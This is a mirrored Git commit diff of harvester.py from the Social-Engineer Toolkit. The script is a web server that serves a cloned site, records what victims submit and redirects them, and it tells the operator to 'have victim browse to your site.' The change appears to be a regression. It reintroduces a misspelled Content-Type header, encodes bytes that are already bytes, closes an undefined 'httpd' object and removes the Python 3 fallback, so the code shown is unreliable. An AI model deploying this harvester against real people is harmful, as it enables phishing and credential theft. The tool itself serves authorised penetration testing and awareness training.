mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2024-11-25 22:10:19 +00:00
Update harvester.py
This commit is contained in:
parent
60ad49a1f7
commit
fe1a78b0c0
1 changed files with 49 additions and 126 deletions
|
@ -1,15 +1,10 @@
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
import html
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import posixpath
|
import cgi
|
||||||
import mimetypes
|
|
||||||
import urllib.parse
|
|
||||||
import shutil
|
|
||||||
import html
|
|
||||||
|
|
||||||
# I am Swam Htet Aung I repair some error in this code for python latest versions
|
|
||||||
|
|
||||||
# need for python2 -> 3
|
# need for python2 -> 3
|
||||||
try:
|
try:
|
||||||
|
@ -27,7 +22,6 @@ try:
|
||||||
|
|
||||||
except ImportError:
|
except ImportError:
|
||||||
from socketserver import *
|
from socketserver import *
|
||||||
import socketserver
|
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import datetime
|
import datetime
|
||||||
|
@ -219,13 +213,6 @@ bites = open(userconfigpath + "bites.file", "a")
|
||||||
# SET Handler for handling POST requests and general setup through SSL
|
# SET Handler for handling POST requests and general setup through SSL
|
||||||
class SETHandler(BaseHTTPRequestHandler):
|
class SETHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
extensions_map = _encodings_map_default = {
|
|
||||||
'.gz': 'application/gzip',
|
|
||||||
'.Z': 'application/octet-stream',
|
|
||||||
'.bz2': 'application/x-bzip2',
|
|
||||||
'.xz': 'application/x-xz',
|
|
||||||
}
|
|
||||||
|
|
||||||
def setup(self):
|
def setup(self):
|
||||||
# added a try except block in case of transmission errors
|
# added a try except block in case of transmission errors
|
||||||
try:
|
try:
|
||||||
|
@ -238,68 +225,6 @@ class SETHandler(BaseHTTPRequestHandler):
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def translate_path(self, path, webroot):
|
|
||||||
"""Translate a /-separated PATH to the local filename syntax.
|
|
||||||
Components that mean special things to the local file system
|
|
||||||
(e.g. drive or directory names) are ignored. (XXX They should
|
|
||||||
probably be diagnosed.)
|
|
||||||
"""
|
|
||||||
# abandon query parameters
|
|
||||||
path = path.split('?',1)[0]
|
|
||||||
path = path.split('#',1)[0]
|
|
||||||
# Don't forget explicit trailing slash when normalizing. Issue17324
|
|
||||||
trailing_slash = path.rstrip().endswith('/')
|
|
||||||
try:
|
|
||||||
path = urllib.parse.unquote(path, errors='surrogatepass')
|
|
||||||
except UnicodeDecodeError:
|
|
||||||
path = urllib.parse.unquote(path)
|
|
||||||
path = posixpath.normpath(path)
|
|
||||||
words = path.split('/')
|
|
||||||
words = filter(None, words)
|
|
||||||
path = webroot
|
|
||||||
for word in words:
|
|
||||||
if os.path.dirname(word) or word in (os.curdir, os.pardir):
|
|
||||||
# Ignore components that are not a simple file/directory name
|
|
||||||
continue
|
|
||||||
path = os.path.join(path, word)
|
|
||||||
if trailing_slash:
|
|
||||||
path += '/'
|
|
||||||
return path
|
|
||||||
|
|
||||||
def guess_type(self, path):
|
|
||||||
"""Guess the type of a file.
|
|
||||||
Argument is a PATH (a filename).
|
|
||||||
Return value is a string of the form type/subtype,
|
|
||||||
usable for a MIME Content-type header.
|
|
||||||
The default implementation looks the file's extension
|
|
||||||
up in the table self.extensions_map, using application/octet-stream
|
|
||||||
as a default; however it would be permissible (if
|
|
||||||
slow) to look inside the data to make a better guess.
|
|
||||||
"""
|
|
||||||
base, ext = posixpath.splitext(path)
|
|
||||||
if ext in self.extensions_map:
|
|
||||||
return self.extensions_map[ext]
|
|
||||||
ext = ext.lower()
|
|
||||||
if ext in self.extensions_map:
|
|
||||||
return self.extensions_map[ext]
|
|
||||||
guess, _ = mimetypes.guess_type(path)
|
|
||||||
if guess:
|
|
||||||
return guess
|
|
||||||
return 'application/octet-stream'
|
|
||||||
|
|
||||||
def copyfile(self, source, outputfile):
|
|
||||||
"""Copy all data between two file objects.
|
|
||||||
The SOURCE argument is a file object open for reading
|
|
||||||
(or anything with a read() method) and the DESTINATION
|
|
||||||
argument is a file object open for writing (or
|
|
||||||
anything with a write() method).
|
|
||||||
The only reason for overriding this would be to change
|
|
||||||
the block size or perhaps to replace newlines by CRLF
|
|
||||||
-- note however that this the default server uses this
|
|
||||||
to copy binary data as well.
|
|
||||||
"""
|
|
||||||
shutil.copyfileobj(source, outputfile)
|
|
||||||
|
|
||||||
# handle basic GET requests
|
# handle basic GET requests
|
||||||
def do_GET(self):
|
def do_GET(self):
|
||||||
# import proper style css files here
|
# import proper style css files here
|
||||||
|
@ -318,13 +243,12 @@ class SETHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
webroot = os.path.abspath(os.path.join(userconfigpath, 'web_clone'))
|
webroot = os.path.abspath(os.path.join(userconfigpath, 'web_clone'))
|
||||||
requested_file = os.path.abspath(os.path.join(webroot, os.path.relpath(self.path, '/')))
|
requested_file = os.path.abspath(os.path.join(webroot, os.path.relpath(self.path, '/')))
|
||||||
|
|
||||||
# try block setup to catch transmission errors
|
# try block setup to catch transmission errors
|
||||||
try:
|
try:
|
||||||
|
|
||||||
if self.path == "/":
|
if self.path == "/":
|
||||||
self.send_response(200)
|
self.send_response(200)
|
||||||
self.send_header('Content-Type', 'text/html')
|
self.send_header('Content_type', 'text/html')
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
fileopen = open(userconfigpath + "web_clone/index.html", "r")
|
fileopen = open(userconfigpath + "web_clone/index.html", "r")
|
||||||
for line in fileopen:
|
for line in fileopen:
|
||||||
|
@ -337,7 +261,7 @@ class SETHandler(BaseHTTPRequestHandler):
|
||||||
# used for index2
|
# used for index2
|
||||||
elif self.path == "/index2.html":
|
elif self.path == "/index2.html":
|
||||||
self.send_response(200)
|
self.send_response(200)
|
||||||
self.send_header('Content-Type', 'text/html')
|
self.send_header('Content_type', 'text/html')
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
fileopen = open(userconfigpath + "web_clone/index2.html", "r")
|
fileopen = open(userconfigpath + "web_clone/index2.html", "r")
|
||||||
for line in fileopen:
|
for line in fileopen:
|
||||||
|
@ -349,18 +273,12 @@ class SETHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if os.path.isfile(requested_file):
|
if os.path.isfile(requested_file):
|
||||||
|
|
||||||
path = self.translate_path(self.path, webroot)
|
|
||||||
ctype = self.guess_type(path)
|
|
||||||
|
|
||||||
fileopen = open(requested_file, "rb")
|
|
||||||
fs = os.fstat(fileopen.fileno())
|
|
||||||
self.send_response(200)
|
self.send_response(200)
|
||||||
self.send_header("Content-Type", ctype)
|
|
||||||
self.send_header("Content-Length", str(fs[6]))
|
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
|
fileopen = open(requested_file, "rb")
|
||||||
self.copyfile(fileopen, self.wfile)
|
for line in fileopen:
|
||||||
|
line = line.encode('utf-8')
|
||||||
|
self.wfile.write(line)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
self.send_response(404)
|
self.send_response(404)
|
||||||
|
@ -451,11 +369,8 @@ class SETHandler(BaseHTTPRequestHandler):
|
||||||
counter = 1
|
counter = 1
|
||||||
|
|
||||||
# when done posting send them back to the original site
|
# when done posting send them back to the original site
|
||||||
self.send_response(302, 'Found')
|
redirect = ('<html><head><meta HTTP-EQUIV="REFRESH" content="0; url=%s"></head></html>' % (RAW_URL)).encode('utf-8')
|
||||||
self.send_header('Location', RAW_URL)
|
self.wfile.write(redirect)
|
||||||
self.end_headers()
|
|
||||||
htmll = ('<!doctype html><html><head><meta http-equiv="refresh" content="0; url=%s"><title>Loading...</title></head><body></body></html>' % (RAW_URL)).encode('utf-8')
|
|
||||||
self.wfile.write(htmll)
|
|
||||||
|
|
||||||
# set it back to our homepage
|
# set it back to our homepage
|
||||||
os.chdir(userconfigpath + "web_clone/")
|
os.chdir(userconfigpath + "web_clone/")
|
||||||
|
@ -467,12 +382,28 @@ def run():
|
||||||
# check if we are not running apache mode
|
# check if we are not running apache mode
|
||||||
if apache_check == False:
|
if apache_check == False:
|
||||||
try:
|
try:
|
||||||
|
|
||||||
server = ThreadedHTTPServer(('', int(web_port)), SETHandler)
|
server = ThreadedHTTPServer(('', int(web_port)), SETHandler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
|
|
||||||
# handle keyboard interrupts
|
# handle keyboard interrupts
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
server.socket.close()
|
os.chdir(homepath)
|
||||||
generate_reports()
|
try:
|
||||||
|
visits.close()
|
||||||
|
bites.close()
|
||||||
|
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
if attack_vector != 'multiattack':
|
||||||
|
try:
|
||||||
|
module_reload(src.webattack.harvester.report_generator)
|
||||||
|
except:
|
||||||
|
import src.webattack.harvester.report_generator
|
||||||
|
if attack_vector != 'multiattack':
|
||||||
|
return_continue()
|
||||||
|
os.chdir(homepath)
|
||||||
|
httpd.socket.close()
|
||||||
|
|
||||||
# handle the rest
|
# handle the rest
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
@ -498,14 +429,28 @@ def run():
|
||||||
print_status("Harvester is ready, have victim browse to your site.")
|
print_status("Harvester is ready, have victim browse to your site.")
|
||||||
if apache_check == False:
|
if apache_check == False:
|
||||||
try:
|
try:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server = ThreadedHTTPServer(
|
server = ThreadedHTTPServer(
|
||||||
('', int(web_port)), SETHandler)
|
('', int(web_port)), SETHandler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
|
|
||||||
# handle keyboard interrupts
|
# handle keyboard interrupts
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
generate_reports()
|
os.chdir(homepath)
|
||||||
server.socket.close()
|
try:
|
||||||
|
visits.close()
|
||||||
|
bites.close()
|
||||||
|
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
if attack_vector != 'multiattack':
|
||||||
|
sys.path.append("src/harvester")
|
||||||
|
from . import report_generator
|
||||||
|
if attack_vector != 'multiattack':
|
||||||
|
return_continue()
|
||||||
|
os.chdir(homepath)
|
||||||
|
httpd.socket.close()
|
||||||
except Exception:
|
except Exception:
|
||||||
apache_counter = 0
|
apache_counter = 0
|
||||||
|
|
||||||
|
@ -604,10 +549,7 @@ def run():
|
||||||
class SecureHTTPServer(HTTPServer):
|
class SecureHTTPServer(HTTPServer):
|
||||||
|
|
||||||
def __init__(self, server_address, HandlerClass):
|
def __init__(self, server_address, HandlerClass):
|
||||||
try:
|
SocketServer.BaseServer.__init__(self, server_address, HandlerClass)
|
||||||
SocketServer.BaseServer.__init__(self, server_address, HandlerClass)
|
|
||||||
except NameError:
|
|
||||||
socketserver.BaseServer.__init__(self, server_address, HandlerClass)
|
|
||||||
# SSLv2 and SSLv3 supported
|
# SSLv2 and SSLv3 supported
|
||||||
ctx = SSL.Context(SSL.SSLv23_METHOD)
|
ctx = SSL.Context(SSL.SSLv23_METHOD)
|
||||||
# pem files defined before
|
# pem files defined before
|
||||||
|
@ -625,39 +567,20 @@ class SecureHTTPServer(HTTPServer):
|
||||||
self.server_activate()
|
self.server_activate()
|
||||||
|
|
||||||
def shutdown_request(self, request):
|
def shutdown_request(self, request):
|
||||||
try:
|
request.shutdown()
|
||||||
pass
|
|
||||||
except Exception as e:
|
|
||||||
request.shutdown()
|
|
||||||
|
|
||||||
|
|
||||||
def ssl_server(HandlerClass=SETHandler, ServerClass=SecureHTTPServer):
|
def ssl_server(HandlerClass=SETHandler, ServerClass=SecureHTTPServer):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# bind to all interfaces on 443
|
# bind to all interfaces on 443
|
||||||
server_address = ('', 443) # (address, port)
|
server_address = ('', 443) # (address, port)
|
||||||
# setup the httpd server
|
# setup the httpd server
|
||||||
server = ServerClass(server_address, HandlerClass)
|
httpd = ServerClass(server_address, HandlerClass)
|
||||||
# serve the httpd server until exit
|
# serve the httpd server until exit
|
||||||
server.serve_forever()
|
httpd.serve_forever()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print_error("Something went wrong.. Printing error: " + str(e))
|
print_error("Something went wrong.. Printing error: " + str(e))
|
||||||
except KeyboardInterrupt:
|
|
||||||
generate_reports()
|
|
||||||
|
|
||||||
def generate_reports():
|
|
||||||
os.chdir(homepath)
|
|
||||||
try:
|
|
||||||
visits.close()
|
|
||||||
bites.close()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
if attack_vector != 'multiattack':
|
|
||||||
try:
|
|
||||||
module_reload(src.webattack.harvester.report_generator)
|
|
||||||
except:
|
|
||||||
import src.webattack.harvester.report_generator
|
|
||||||
if attack_vector != 'multiattack':
|
|
||||||
return_continue()
|
|
||||||
|
|
||||||
if track_email == True:
|
if track_email == True:
|
||||||
webattack_email = True
|
webattack_email = True
|
||||||
|
|
Loading…
Reference in a new issue